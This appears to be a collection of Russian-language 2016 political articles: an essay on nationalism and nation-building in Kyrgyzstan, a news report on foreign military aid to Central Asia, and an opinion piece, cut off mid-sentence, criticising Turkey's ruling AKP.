Год: 2016

Политический аналитик Анар Мусабаева на страницах Central Asian Analytical Network размышляет о проблеме строительства нации и государства в Кыргызстане, суть которой в том, сможет ли Кыргызстан стать самоуправляемой страной и согражданством, объединенным общим самосознанием, идентичностью, системой ценностей и культурой.

* * *

Национализм – тема весьма сложная, прежде всего, потому, что существуют разные подходы к тому, как определять нацию, этнос, национальность и государство. В основе данного обсуждения – попытка рассмотреть особенности процессов самоидентификации во взаимосвязи с процессами государство- и нациестроительства в Кыргызстане.

К большому сожалению, обсуждение на экспертном уровне проблем национализма, строительства нации и государства в Кыргызстане на протяжении всего транзитного периода шло достаточно вяло и спорадически. Ели сравнивать в этом контексте дискуссионное пространство Кыргызстана с таковыми в соседних странах, заметно наше отставание. Проблемы национализма обсуждались по большей части в СМИ, среди деятелей культуры, иногда среди обычных людей, но голоса экспертов терялись в этой массе.

Объясняется это несколькими причинами. Дело в том, что любые попытки экспертных обсуждений о строительстве национального государства, о предпосылках кыргызского национализма и его современных проявлениях неизбежно наталкивались на критику с разных сторон. Экспертов могли обвинить в продвижении идеи кыргызского этнократического государства, в расколе общества, дискриминации этнических меньшинств и прочих грехах. Во многом это объясняется тем, что в обыденном сознании глубоко укоренился советский понятийный аппарат, когда националистами называли шовинистов, ксенофобов или тех, кто не соглашался с политикой центра. Соответственно, обсуждение национализма априори считалось чем-то нехорошим.

Межэтнический конфликт на юге Кыргызстана в 2010 году способствовал возобновлению обсуждений вопросов о национализме, но сложный контекст того времени наложил еще больший отпечаток на течение и содержание подобных дискуссий. Вопросы национализма стали чрезмерно чувствительными, говорить о них стало еще труднее и болезненнее. Учитывая, что страна только что пережила политическое потрясение и перед ней стояла первоочередная задача политической стабилизации и установления межэтнического мира, существовал некоторый страх спровоцировать и усложнить и без того непростую политическую обстановку, и особенно – страх усилить напряженность в сфере межэтнических отношений.

Кроме того, важно отметить, что реакция международных организаций на конфликт сыграла свою роль. Действительно, тогда в международных СМИ и отчетах разных комиссий, изучавших причины и последствия конфликта, был заметен «обвинительный» крен в отношении кыргызского государства, оказавшегося неспособным предотвратить конфликт, а в качестве основной причины конфликта назывался кыргызский этнонационализм. Так термин «национализм», и без того сложный для понимания, стал термином эмоционально окрашенным и воспринимался исключительно негативно.

До сих пор тема национализма достаточно сложна для обсуждения, хотя она остается одной из актуальнейших для Кыргызстана, поскольку связана с процессами государствостроительства и нациестроительства.

Оба эти процесса не завершены. Основной вопрос государствостроительства – сможем ли мы, сообщество людей, живущих в стране, управлять собой самостоятельно и без давления извне. А главным вопросом нациестроительства является вопрос о том, станем ли мы, жители страны, настоящим и сплоченным согражданством, признающим одну суверенную власть и объединенным общим самосознанием, самоидентификацией, ценностной системой, культурой и историей.

Вопросы государственности и самоидентификация кыргызов в транзитном периоде

С распадом СССР Кыргызстан оказался перед необходимостью строительства самостоятельного государства. Это был достаточно болезненный процесс, поскольку находясь в составе СССР и обладая всеми формальными признаками государства, Кыргызстан, тем не менее, не обладал реальным суверенитетом и не мог проводить самостоятельную политику. Понятно, что политическая элита Кыргызстана, состоявшая из советской номенклатуры и привыкшая получать указания из «Центра», оказалась в полной растерянности, получив неожиданную «независимость». Она не смогла предложить адекватных ответов на вызовы времени, а само общество было далеко от идеи построения нации-государства, поскольку советская идеология «дружбы народов» и формирования новой исторической общности «советский народ» оказала достаточно сильное воздействие.

Советский период объективно сыграл положительную роль в консолидации кыргызов, а советская государственность, несмотря на ее усеченность, все же была этапом становления протогосударства. Экономическая модернизация Кыргызстана в советское время, а также развитие образования и культуры создали предпосылки для формирования общей идентичности. Однако идея советского плавильного котла стала препятствием для развития национального самосознания и создания полноценного государства.

До сих пор в Кыргызстане существует «синдром младшего брата», хотя с момента получения независимости прошло почти четверть века. Превратившись в титульный, или, как сейчас говорят, в государствообразующий этнос, кыргызы не перестали воспринимать себя «меньшинством».

В настоящее время синдром меньшинства дополняется внедряемым в сознание людей чувством вины или синдромом «неблагодарного младшего брата», которого поставили на путь цивилизации, помогли развиться экономически, однако «неблагодарный младший брат» не полностью лоялен и позволяет себе выпады против «старшего брата».

Кстати, синдром младшего брата – многослойный и проявляется не только в отношении русского этноса, но и в отношении казахов. Реверансы нашего политического руководства в отношении руководителей России и Казахстана, безусловно, имеют политическую составляющую, например, включающую членство в ЕАЭС или миграционную зависимость Кыргызстана от этих двух стран. Тем не менее, они также являются отражением этнических комплексов, имеющих в своей основе память о существовании ранжирования формально равноправных республик Советского Союза.

Это сложная этнопсихологическая проблема, которая только еще более усугубляется другими сконструированными уже в период независимости синдромами – синдромами бедного, малого, несостоявшегося или деградирующего государства, государства, значительное число граждан которого вынуждено жить в трудовой миграции, полукриминального или коррумпированного государства и другими.

После развала СССР в Кыргызстане, как и в других республиках бывшего СССР, наблюдалось усиление национализма, но здесь это, в основном, касалось уровня бытового общения. Были определенные запросы на самоутверждение кыргызов в качестве титульного или государствообразующего этноса, но такие идеи было слабо оформленными и не играли доминирующей роли в политическом пространстве. Если в некоторых советских республиках уже в период перестройки Горбачева появились предпосылки для национального объединения и существовали общественные движения, требовавшие реализации прав на национальное самоопределение (Прибалтика, Казахстан, например), в Кыргызстане не было каких-то организованных политических сил или движений с националистической платформой, хотя и были отдельные политики с риторикой националистов. Демократическое Движение Кыргызстана (ДДК), образовавшееся почти накануне распада Советского Союза, хотя и выступало в защиту прав кыргызской сельской молодежи на работу, земельные наделы и жилье, скорее было движением за социально-экономические права, нежели националистическим.

Примерно ко второй половине 1990-хх годов националистический дискурс значительно ослаб, и все чаще стали звучать задачи о необходимости сплочения всех этносов, построения мультикультурного общества, где все этносы равноправны. Неспроста появился акаевский лозунг «Кыргызстан – наш общий дом», впрочем, за него позднее первого президента будут сильно критиковать. Другой акаевский лозунг «Кыргызстан – Швейцария Центральной Азии» тоже может восприниматься как попытка укрепления общей идентичности граждан вокруг положительного образа страны. Какова была роль этих лозунгов – это, возможно, тема отдельного разговора. На мой взгляд, все-таки они сыграли положительную роль в смысле недопущения крайних форм национализма. Кроме того, как бы ни муссировался языковой вопрос, лингвистический национализм в Кыргызстане также не приобрел каких-то крайних форм. Русский язык был объявлен официальным, на нем велось и до сих пор ведется делопроизводство, и в целом применение русского языка не ограничивалось. В последние годы, наоборот, многие кыргызы выступают за билингвизм и улучшение преподавания русского языка в кыргызских школах. Отказались в нашей республике и от идеи перевода алфавита с кириллицы на латиницу.

В целом, нужно отметить, что сторонники идеи этнической исключительности кыргызов на протяжении всего транзитного периода не находили массовой поддержки среди граждан. Что касается властных структур, этно-ориентированные националисты не имели доминирующего положения, даже после 2010 года, когда в парламент попало определенное число депутатов, выступавших за изъятие официального статуса русского языка и продвигавших идею строительства этнической нации.

Забегая вперед, отмечу, что присутствие этих политиков все же усложнило процесс разработки и принятия Концепции укрепления единства народа и межэтнических отношений в Кыргызской Республике. Прежде чем был подписан президентский указ об утверждении этой концепции, было разработано два варианта документа. Один вариант разрабатывался группой депутатов Жогорку Кенеша (парламента Кыргызстана) под руководством Нодиры Нурматовой, депутата от фракции «Ата-Журт», другой – Ассамблеей народов Кыргызстана. Обсуждение концепций в гражданском обществе было достаточно активным. Многие называли проект Нурматовой националистическим, поскольку в нем кыргызский этнос определялся как центральный элемент государственности. Не вполне устраивал и второй документ. В итоге аппаратом президента КР был разработан компромиссный вариант документа на основе двух предыдущих проектов, который, впрочем, ввиду своей компромиссной природы, был раскритикован экспертами как эклектический, понятийно запутанный и имеющий недочеты в плане механизмов реализации.

Принятая концепция стала первым документом этнической политики государства, в основу которого была положена идея построения гражданской нации в Кыргызстане на «основе объединяющей роли государственного кыргызского языка как важнейшего элемента консолидации общества и сохранения этнического многообразия и этнокультурных особенностей этносов Кыргызстана».

Очень важно отметить, что 2010 год стал большим испытанием для Кыргызстана, в том числе и с точки зрения нациестроительства. До этого времени никто в государстве серьёзно не задумывался об отношениях между кыргызами и другими этническими группами, не существовало институционального механизма, ответственного за эту сферу. Так, отдел этнической, религиозной политики и взаимодействия с гражданским обществом в аппарате президента Кыргызской Республики был учрежден только в 2011 году, а в 2013 году образовано Государственное агентство по местному самоуправлению и межэтническим отношениям при правительстве Кыргызской Республики.

Трагические события 2010 года со всей очевидностью высветили важность вопросов «кто мы?», «какой выбор мы делаем как страна», «какова наша самоидентификационная модель», «есть ли у нас общая идентичность», «какое государство мы строим», «есть ли кыргызская нация и что она из себя представляет»? На самом деле, это сложные вопросы, и ответы на них еще не совсем найдены.

Современные националистические дискурсы в Кыргызстане

В данном разделе речь идет о проявлениях национализма в общественном дискурсе. Надо сказать, что очень привычно говорить о кыргызском национализме, поскольку кыргызы в Кыргызстане являются этническим большинством. Но, на мой взгляд, важно говорить о национализме и других этносов, который также имеет место, но, возможно, менее видим. В последнее время наблюдаются также формы националистического дискурса, связанные с современным политическим контекстом и не основанные на критерии этнической принадлежности. Обсуждение последних предлагается ниже.

Что же из себя представляет современный кыргызский националистический дискурс? Свидетельствует ли он об усилении кыргызского национализма?

На сегодня кыргызский националистический дискурс представлен разными взглядами и идеями, в основе которых лежит убежденность в необходимости защиты и продвижения интересов кыргызов как нации. Данный дискурс существует, в основном, в пространстве кыргызско-язычных печатных СМИ, в электронных СМИ и на телевидении. В основном эти СМИ выступают за возрождение национальных традиций, культуры, нравственности. Есть также стремление «возродить дух кыргызов», и делается это через использование мифического и исторического компонентов самоидентификации, которые, по замыслу, должны служить укреплению чувства национальной гордости за свой этнос и тем самым способствовать укреплению общей идентичности. В самом стремлении вернуться к истокам и возродить духовные корни народа нет ничего плохого. Но способы, методы и средства далеко не однозначны и зачастую вызывают неприятие (если сказать мягко) среди представителей других этносов.

В националистическом дискурсе также присутствуют идеи возрождения и развития кыргызского языка, повышения его роли в общественной и политической жизни, критикуются власти за то, что за более чем два десятилетия сделано очень мало для возрождения языка. Многое в этом дискурсе вполне обоснованно, если учесть, что кыргызский язык сильно утратил свои позиции во времена СССР, он практически вырождался и становился символом отсталости. Так, в столице Кыргызстана существовала только одна школа (из 60), в которой обучение велось на кыргызском языке. Во всех вузах обучение шло также на русском языке.

Говоря о языке, важно отметить проблемы с формированием единого информационного пространства в Кыргызстане. К сожалению, информационное пространство сильно фрагментировано, что является серьёзным фактором разделения общества по этническим линиям. Языковая дифференциация, при которой русскоязычный и кыргызскоязычный сегменты населения представляют собой два разных не сообщающихся сосуда, не способствует консолидации общества. Схожая проблема существует на юге страны, где жители больше смотрят и слушают узбекские телеканалы и радио.

В меньшей степени, чем традиционно-возрожденческий и языковой дискурсы, в информационном пространстве присутствуют националистические дискурсы, связанные с призывами осуществить переоценку советского наследия в смысле ценностей, моральных и нравственных принципов.

С другой стороны, в последнее время в связи со столетием события заметен интерес общества к исторической переоценке восстания кыргызов в 1916 году (Уркун) как национально-освободительного движения против царской России. Намерения правительства отметить 100-летие этих трагически событий различными мероприятиями вызывают неприятие части общества, откровенно подпитываемое извне, как попытка националистов реставрировать или переделать историю, создать исторические мифы и внести семена раскола в отношения между этносами.

Обсуждая националистический общественный дискурс, необходимо подчеркнуть, что в Кыргызстане нет четко выраженных политических платформ кыргызского национализма. Несмотря на националистическую риторику отдельных политиков, в стране отсутствуют политические партии, в основе идейной платформы которых лежит идея этнонационализма. Даже партии, которые позиционировали (позиционируют) себя защитниками интересов кыргызского народа, неспособны предложить программу или проект будущего, альтернативные официальному курсу. Очевидно то, что политики используют националистические лозунги главным образом во время избирательных кампаний для привлечения определённого электората. В целом, мобилизационный потенциал национализма как политической идеологии достаточно слаб. В стране не существует лидера, который обладает консолидирующим потенциалом на основе этнического национализма. Это неудивительно, поскольку основная масса власть предержащих вышли из советской системы, они и мыслят, и управляют по-советски. Определенное обновление политической элиты происходит, но медленно и не всегда за счет нового поколенческого сегмента, а зачастую за счет пополнения из числа нуворишей и компрадоров.

Достаточно интересным явлением, характерным для Кыргызстана, стало еще одно направление общественного дискурса, связанное с национализмом, но в другом понимании. В отличие от предыдущих форм этнонационалистического дискурса, данное направление связано с критикой решения руководства Кыргызстана о вступлении в Таможенный союз и ЕАЭС и отказа от многовекторной внешней политики. Носители этого дискурса представляют разные этносы, они в основном существуют в интернет-пространстве, а также частично доносят свои идеи через телевидение. Эта группа институционально не оформлена, она достаточно условна и размыта. Условно можно назвать данное направление как «Защитники суверенитета» поскольку во главу угла они ставят право Кыргызстана вести самостоятельную политику без оглядки на более сильных региональных игроков и противодействие попыткам ограничения суверенитета страны путем втягивания в неравноправные интеграционные объединения.

Хотя это направление слабо, но, возможно, будет набирать силу, поскольку для этого есть определенные предпосылки, в частности – растущее разочарование в обществе по поводу вступления в ЕАЭС, ухудшающаяся экономическая ситуация в стране и возможность нарастания социального напряжения, а также некоторые непопулярные среди населения законы или их проекты. Весьма показательно недавнее бурное обсуждение в социальных сетях проекта «Соглашения между правительством Кыргызской Республики и правительством Российской Федерации о сотрудничестве в области массовых коммуникаций», по которому федеральным телеканалам «Первый канал», «Всемирная сеть» и «РТР Планета» будет придан особый статус. Данное соглашение вызвало резкую критику в гражданском обществе как неправильный шаг правительства, создающий угрозы национальной информационной безопасности.

В целом, за исключением последнего дискурса, который объединил представителей разных этносов, в Кыргызстане доминирует традиционное представление о том, что национализм является кыргызским этническим национализмом и направлен он, прежде всего, на укрепление интересов кыргызского этноса.

Проект будущего и проблемы консолидации кыргызской нации

Проблемы национальной консолидации связаны во многом с историей. На протяжении веков кыргызы жили в составе разных государств и оставались периферийным этносом. Это относится и к периоду нахождения в составе Российской империи, а затем в составе СССР. Сформировавшаяся экономическая, культурная и политическая зависимость от метрополии лишили политическую и интеллектуальную элиту навыков целеполагания и выработки собственной политики. В итоге за два с лишним десятилетия периода независимости Кыргызстан так и не смог выработать свой собственный проект будущего. Не получилось разработать государственную идеологию или стратегию, которая нашла бы отклик в сознании если не большинства, то хотя бы среди значительной части граждан. Но попытки были.

На мой взгляд, именно ввиду отсутствия проекта будущего, для Кыргызстана более характерно обращение в историю, поиск «золотого века» кыргызов и их государственности, чтобы черпать оттуда какие-то идеи для современности. 1000-летие эпоса «Манас», 2200-летие кыргызской государственности, 3000-летие города Ош — все это подобные примеры. В этом контексте, как мне кажется, нарождается еще один водораздел в обществе. Не секрет, что при обсуждении традиций, культуры кыргызов в тех же кыргызскоязычных СМИ очень часто употребляется идея о том, что кыргызы – улуу эл, то есть великий народ. По моим наблюдениям в последнее время формируются критические позиции среди самих кыргызов в отношении подобных высказываний, некоторые даже дали название этому феномену – улуумания. В основе критицизма улуумании лежит идея о том, что чрезмерное возвеличивание нации по критерию ее древности и особых нравственных характеристик без учета современных реалий, учета недостатков, присущих представителям этой нации на современном этапе, и попыток устранить эти недостатки никакого развития не будет. По-видимому, можно считать, что это зачатки здоровой дискуссии и понимания важности развития нации, трезвой оценки своего опыта и использования лучших образцов чужого опыта.

Безусловно, никто не спорит с необходимостью реставрации истории кыргызов и Кыргызстана. Но кроме мифологических и этнографических материалов важно использовать документированные материалы на разных языках. Для этого наши историки должны обладать соответствующим потенциалом (научным, языковым) и ресурсами. Плачевное состояние финансирования нашей исторической, как, впрочем, и всей науки всем известно. Правда, в связи с тем, что 2016 год был официально объявлен в Кыргызстане Годом истории и культуры, маленький оптимизм все-таки присутствует.

Попытки укрепления национальной гордости через популяризацию эпоса «Манас», поиски национального бренда страны, съемки исторических фильмов, попытки возрождения тенгрианства как исконной религии кыргызов – это примеры шагов, которые предпринимались для укрепления общей идентичности. Однако все эти попытки обращены в прошлое, но не настоящее, и тем более – не в будущее.

Отсутствие в Кыргызстане собственного проекта будущего служит препятствием к осмыслению места, которое наша страна занимает в современном мироустройстве. В контексте вступления Кыргызстана в ЕАЭС интересен вопрос, является ли это выбором будущего вектора и соответствует ли он выбору большей части граждан?

С одной стороны, есть значительное число людей, которые одобряют разворот Кыргызстана в сторону партнеров из бывшего СССР. Вступление в ЕАЭС воспринимается ими как возвращение на круги своя. Агитация нашего правительства и «мягкая сила» союзников сыграли в этом свою роль. Означает ли это то, что Кыргызстан устал от поиска своей формулы суверенного развития и предпочитает снова оказаться в привычной роли «младшего брата», или это вынужденный шаг, хотя и формально добровольный? В последнем случае как это отразится на процессе государствостроительства? Или, это и есть наш проект будущего?

С другой стороны, в настоящее время растет и число тех, кто воспринимает вступление Кыргызстана в ЕАЭС как неправильный шаг руководства страны, создающий угрозы для сохранения суверенитета страны. Можно ли сказать, что это зачатки гражданского национализма, тем более учитывая, что данный лагерь объединяет представителей разных этнических групп? Имеет ли данное направление национализма политический мобилизационный потенциал?

Эти вопросы требуют серьёзного обсуждения на экспертном уровне и, возможно, проведения специальных исследований.

Одна из главных причин отсутствия проекта будущего заключается в отсутствии консолидированной политической элиты, которая опиралась бы на какую-то большую идею. Политические деятели, которые крутятся во властных структурах, являются по большей части самоназванной элитой и морального авторитета не имеют. Интеллектуальная элита предпочитает отмалчиваться по вопросам нациестроительства, опасаясь нападок в свой адрес, в результате чего в дискуссионном поле часто тон задают неквалифицированные люди или откровенные мракобесы.

Весьма важным вопросом, касающимся национальной консолидации, является вопрос о готовности элит и всего общества к строительству гражданской нации. Несмотря на принятие Концепции укрепления мира и межэтнического согласия, вряд ли можно утверждать, что в обществе есть консенсус о том, что нужно строить гражданскую нацию. Общество пока не готово и к тому, что понятие кыргызской нации будет в себя включать все этносы, проживающие в Кыргызстане. К этому не готовы как кыргызы, так и другие этносы. Сам этноним «кыргыз» пока недостаточно привлекателен для представителей других этносов. Это связано и с уровнем экономического развития Кыргызстана (где особенно нечем похвастаться) и сложившимися стереотипами по поводу «кыргызчылык», феномена, который даже среди самих кыргызов ассоциируется с понятиями «некачественно», «абы как», «непрофессионально», «не по закону» и другими негативными ассоциациями.

Кыргызстан упустил возможность сделать образ страны привлекательным как во взаимоотношениях с внешним миром, так и для собственных граждан, когда постепенно терял репутацию «островка демократии». Не смогли мы воспользоваться во благо страны и тем авансом доверия со стороны международного сообщества, который присутствовал после тюльпановой революции 2005 года. Власти создали ситуацию, приведшую к ухудшению имиджа страны и приобретению Кыргызстаном репутации несостоявшегося государства, но при этом предпочли переложить вину за состояние страны на пресловутые «внешние силы».

Вопросы консолидации нации и поиска проекта будущего связаны с вопросами множественных идентичностей кыргызстанцев и возможностями вовлечения страны в проекты внешних игроков.

Какую роль играет исламская идентичность кыргызов в процессах нациестроительства? Противоречит ли ислам существованию нации-государства? Опасно ли с точки зрения нациестроительства усиление влияния исламской религии и активизирующаяся с каждым днем религиозная социализация? Какую роль играют тюркизм, номадизм, родоплеменная или региональные идентичности в процессе нациестроительства? Пока обсуждение этих тем остается фрагментированным и не позволяет сделать более или менее обоснованные выводы.

Заключение

Обсуждать вопросы национализма в Кыргызстане всегда было сложно, особенно после 2010 года, потому что по инерции внимание переключается на сферу межэтнических отношений и в таком контексте национализм всегда имеет негативную коннотацию.

Понятийная неразбериха и отсутствие консенсуса по поводу того, что считать нацией, а также разделение дискуссионного поля на русскоязычный и кыргызоязычный сегменты является серьёзным препятствием для общественного диалога. Зачастую это два параллельных мира, редко пересекающихся и несущих разные смыслы и сигналы, что само по себе содержит в себе скорее конфликтный, нежели консолидирующий потенциал.

Несмотря на все эти трудности, вопросы национализма остаются актуальнейшими для Кыргызстана и требуют всестороннего обсуждения, прежде всего на экспертном уровне. Межэтнический конфликт 2010 года остро высветил необходимость поиска ответа на вопросы «кто мы?», «какое государство строим?», «как нам относиться к своему прошлому и какое будущее мы хотим для своей страны?». Это был для нас очень драматичный период, когда хрупкость нашей государственности стала очевидной.

Два процесса – процесс государствостроительства и процесс нациестроительства – являются важными процессами для Кыргызстана, не так давно вступившего на самостоятельный путь развития. Суть их в том, сможет ли Кыргызстан стать самоуправляемой страной и согражданством, объединенным общим самосознанием, идентичностью, системой ценностей и культурой.

Небольшой анализ, предложенный выше, позволяет говорить о том, что на данном этапе оба процесса не завершены. Процесс национального объединения и консолидации, а также поиск идентичности идут сложно и хаотично. Гибридная идентичность или многослойные идентичности жителей нашей страны пока еще не позволяют центростремительным силам полностью перевесить центробежные силы. Такое состояние общества не способствует консолидации и укреплению государственности. А без этого сложно говорить о строительстве гражданской нации или согражданства.

То, что на протяжении всего транзитного периода сторонники крайнего этнического национализма не смогли закрепить за собой доминирующие позиции, возможно, говорит о потенциале для создания гражданской нации Кыргызстана. Однако готово ли к этому общество сейчас?

Во многом проблемы национальной консолидации связаны с историей кыргызов, с историей государственности. Вхождение Кыргызстана в состав различных государств на протяжении веков привело к утрате навыка целеполагания (прежде всего у элиты) и мешало выработке собственных моделей развития. Отсутствие в Кыргызстане собственного проекта будущего служит препятствием к осмыслению места, которая наша страна занимает или может занимать в современном мироустройстве. Пока самоидентификационные процессы обращены только в сторону прошлого.

Анар Мусабаева

http://www.fergananews.com/articles/8852

Месяц назад Пентагон опубликовал данные о планируемых объемах помощи странам Центральной Азии в борьбе с террором и на укрепление стабильности в регионе на 2016 и 2017 годы. Речь идет всего о 50 миллионах долларов, которые в основном должны быть потрачены на повышение эффективности охраны границы с Афганистаном. Неудивительно, что в рамках этой программы Таджикистан назван ключевым партнером в регионе. Озвученные расходы пока еще только в планах и должны быть одобрены Конгрессом США. Еще 25 миллионов на безопасность региону может выделить в 2016 году Государственный департамент США.

Несмотря на мизерную сумму, зарубежные СМИ отмечают, что это первое серьезное оживление интереса США к Центральной Азии после окончания программ обучения американцами специальных подразделений Таджикистана и Киргизии в 2012-2013 годах и что, возможно, это первые реальные шаги по возвращению США в регион, после того как в 2014 году Киргизия закрыла американскую военную базу на своей территории и в 2015 году вышла из договора о сотрудничестве и помощи. Тогда США были разочарованы и упрекнули Киргизию в том, что на становление демократии в стране они потратили впустую 2 миллиарда долларов.

В феврале этого года Таджикистану была обещана экономическая помощь в размере 279 миллионов долларов и от Европейского Союза. В 2014 году Таджикистан получил на свои военные расходы 20 миллионов долларов от США, а в 2016 году получит около 8 миллионов долларов.

В обороте и Узбекистан, где в декабре 2015 года Германия закрыла свою военную базу для переброски войск и грузов в Афганистан после 13 лет использования. В прошлом году США подарили Узбекистану 300 бронемашин ценой 100 тысяч долларов каждая. В феврале этого года представитель НАТО встретился с министром обороны и министром иностранных дел Узбекистана, чтобы обсудить текущие отношения и новую программу сотрудничества на 2016 год.

18 марта этого года на проходящей в Астане конференции «Современная внешняя политика США и ее реализация в Центральной Азии» стало известно, что США и Казахстан разработали план военного сотрудничества на 2016-2017 годы. Основные направления сотрудничества: миротворческая деятельность, повышение профессиональной подготовки вооруженных сил, а также военное образование.

В июле 2016 года в Великобритании пройдут учения «Степной орел-2016», в которых примут участие около 250 военнослужащих Казахстана. Помимо казахстанских военных и британских, в учениях будут задействованы военные США, Турции, Киргизии и Таджикистана. Американо-казахские учения «Степной орел» проходят ежегодно с 2003 года и обычно на территории Казахстана, но в 2014 году они проходили в Германии.

Впрочем, интерес к региону в военном плане проявляют не только США. Генерал пакистанской армии Рахиль Шариф встретился в Душанбе с президентом Таджикистана Эмомали Рахмоном и обсудил сотрудничество вооруженных сил двух стран в борьбе против терроризма, экстремизма и наркоторговли, чуть ранее об этом же с президентом Таджикистана разговаривал и китайский генерал Фан Фэнхуэй.

Китай в марте этого года вообще предложил создать некий пока абстрактный механизм противодействия терроризму и экстремизму в регионе, и в данный проект пригласил Таджикистан, Пакистан и Афганистан, пообещав последнему 70 миллионов долларов в виде военной помощи.

В ежегодном докладе Американо-китайской комиссии по экономике и безопасности при Конгрессе США за 2015 год отдельная глава была посвящена военным отношениям Китая и стран Центральной Азии. Американцы отмечают, что в рамках ШОС Китай уже провел 15 военных учений со странами региона, в которых Китай практикуется в переброске своих войск за пределы Поднебесной, отрабатывает координацию операций подразделений, говорящих на разных языках, оттачивает работу военной логистики, приучает своих военнослужащих к действиям в незнакомой среде. Центральная Азия также важна для китайских разведывательных служб, которые работают по теме экстремизма среди уйгуров и по наркоторговле, и нуждаются в информации от своих коллег из региона. Доклад цитирует данные, что Китай с 90-х годов и по 2014 год выделил военной помощи странам Центральной Азии на сумму всего лишь 40 миллионов долларов. Помощь включала поставку снайперских винтовок, средств связи, автомобилей, оборудования для контроля границы, а также ракеты «земля-воздух» и один беспилотник для Узбекистана. Также Китай занимался обучением военнослужащих стран Центральной Азии.

Так или иначе, авторы материалов зарубежных изданий прекрасно отдают себе отчет, что на сегодняшний день ни сотрудничество США и НАТО, ни сотрудничество Китая со странами Центральной Азии, не идут ни в какое сравнение с интересами, масштабным военным присутствием и связями России в регионе.
27.03.2016

Илья Плеханов

Источник — inosmi.ru

В 2001 году,после тяжёлого политического и экономического кризиса, в Турции к власти пришла Партия справедливости и развития (ПСР). ПСР смогла собрать под свои знамёна представителей самых разных слоёв турецкого общества. Основными лозунгами, которые оказались привлекательными для избирателей, стали возрождение религии, укрепление здорового консерватизма, построение дружественных отношений с соседними странами, развитие предпринимательства. Конечно, были даны обещания улучшить условия жизни в сельской местности,усилить образование и культуру, развить демократию. Благодаря привлекательным обещаниям, ПСР создала свою социальную базу –то, что называется «электоратом».

Что же стало с этими обещаниями и почему проправительственная партия все последние годы только теряет своих избирателей? Как реализовывались данные обещания? И почему политическая жизнь последних лет в Турции превратилась в живой учебник потери электората и доверия избирателей?

Первыми «под нож» было пущено то, что могло быть привлекательным не только для Турции,но и для всех государств, исповедующих ислам. Турция, объявившая себя «лидером мусульманства», на деле делала всё, чтобы подчинить своему влиянию близлежащие арабские страны, фактически возрождая политику, приведшую почти к полному разрушению страны в начале прошлого XX века, и спасённую тогда усилиями Мустафы Кемаля Ататюрка и его соратников.Всё,с чем боролся Ататюрк – создание всемирного халифата,узурпирование власти в руках одного человека, усиление светского образования, – вернулось в полной мере и уже как новая государственная политика.

«Укрепление здорового консерватизма» обернулось неуёмным желанием подчинить контролю правительства, а иногда – и просто аппарату президента, все более-менее значимые общественными институты. Правительствостраны, любящее выступать на фоне портрета Мустафа Кемаля Ататюрка, фактически возродило всё, с чем боролся Ататюрк – единоличное управление под видом демократических реформ, имперские планы по возрождению халифата, возрождение и укрепление различных религиозных орденов, которые стали напрямую вмешиваться в общественную жизнь, диктуя свои законы.

Здоровый прагматизм,который должен определять внешнюю политику страныи приносить конкретны дивиденды экономике страны, обернулся неуёмным желанием подчинения и дальнейшего использования в собственных целях различных исламистских движений и даже отдельных стран. Попытки воспользоваться «арабской весной» и превратить Турцию в «единственного лидера всех мусульманских стран» обернулись жесточайшим противостоянием и чередой непрекращающихся терактов уже в самой Турции – в Анкаре и в Стамбуле.

«Дружественные отношения» с соседними странами, проводимые под броским лозунгом «Ноль проблем с соседями» закончились тем, что у Турции на сегодня нет соседних стран, с кем бы не было проблем.Ирак,Сирия,Греция – всё это провалы внешней политики Турции и конфликты, которые будут «аукаться» ещё много десятилетий.Не говоря уже об испорченных отношениях с Россией.

Отдельного внимания заслуживает обещанное «развитие предпринимательства» в Турции. Да,мелкий и средний бизнес смог несколько лет развиваться. При этом мало кто знает,что в стране была искусственно создана новая бизнес-элита,состоящая из верных партийцев,которым были переданы, при лоббировании правительства, самые «аппетитные» активы.Итоги приватизации ряда крупных промышленных предприятий,а иногда и целых отраслей – это тема отдельного журналистского исследования,результатами которого будут очевидные факты создания финансовой империи,контролируемой ставленниками премьер-министра,позднее – президента. Результат – неуёмная коррупция на уровне министров и ключевых государственных деятелей. Информация об этой глубочайшейкоррумпированности государственных органов только изредка прорывается до общества – как это было в 2013 году, когда в результате грандиозного скандала были арестованы глава государственного банка Halkbank, сыновья министров, уволены четыре министра и ещё 24 человека из самых влиятельных финансовых кругов. Семья самого премьер-министра тогда большими усилиями была выведена из-под подозрений в участии в криминальных схемах, но значительную часть избирателей ПСР потерялабезвозвратно.

Протекционизм, негласная поддержка со стороны правительства создали ложный эффект того, что новые собственники действуют намного эффективные прошлых, – создавались рабочие места, новые промышленные направления. А на деле Турция, увлёкшись дешёвыми портфельными инвестициями, оказалась в жесточайшей зависимости от иностранных денег. На конец 2013 года доля прямых инвестиций в экономике Турции составляла $ 11 млрд долларов, тогда как доля портфельных инвестиций достигла $26 млрд. В результате, «новые предприниматели» так перекроили государственный бюджет в свою пользу,что теперь один процент населения Турции получает около пятидесяти процентов национального дохода. Действующая система «политического» управления «свободным предпринимательством» обернётся крахом экономики при первых же политических потрясениях,которые, уже очевидно,ожидают Турцию.

«Развитие демократии», обещанноеПСР, на сегодня обернулось фактическим уничтожением оппозиционной прессы. Любое критическое выступление в адрес властей,даже сказанное самыми авторитетными журналистами, заканчивается арестами,как это было с главным редактором и газеты «Cumhuriyet» Джаном Дюндаром и корреспондентом этого издания Эрдемом Гюлем. Журналистское сообщество отлично помнит, как турецкая полиция брала штурмом стамбульские офисы телевизионных каналов «Bugün» и «Kanaltürk».Свободной прессы просто не существует. События последних трёх лет заставили многих журналистов уйти из печатных сми в Интернет, а действующие правительство – выступить с инициативой запрета сервисов YouTube, Twitter, Facebook … В 2010 году в Турции под арестом содержалось более ста журналистов. В 2012–2013 годах Турция уже уверенно удерживала первое место в мире по числу находящихся в заключении журналистов. Правительство, понимая, какойимидж создаёт себе на международном поле, постепенно изменило политику давления на журналистов с арестов на увольнения. Здесь счёт пошёл уже на тысячи. За период правления ПСР уволено почти две тысячи журналистов.Самым показательным стало «выяснение отношений» между ПСР и медиа-холдингом«Doğan», начавшееся с критических замечаний в адрес правительства и закончившееся угрозой правительства взыскать с холдинга $ 2,5 млрд.Это было последним предупреждением для средств массовой информации Турции: любая критика будет жестоко пресекаться; и это закончится арестом или налоговыми проверками по заказу правительства с предсказуемыми результатами. Даже если последняя судебная инстанция, Конституционный суд, постановляет освободить журналистов, как это произошло с Джаном Дюндаром и Эрдемом Гюлем уже только в марте этого года, то тогда президент страны открыто угрожает уже одному из важнейших государственных институтов, и открыто говорит о том, что следующее подобное решение поставит под угрозу существование самого Конституционного суда. Что это,- авторитаризм, достигший крайних проявлений? Показатель того, что происходит уничтожение последних демократических институтов? Предупреждение 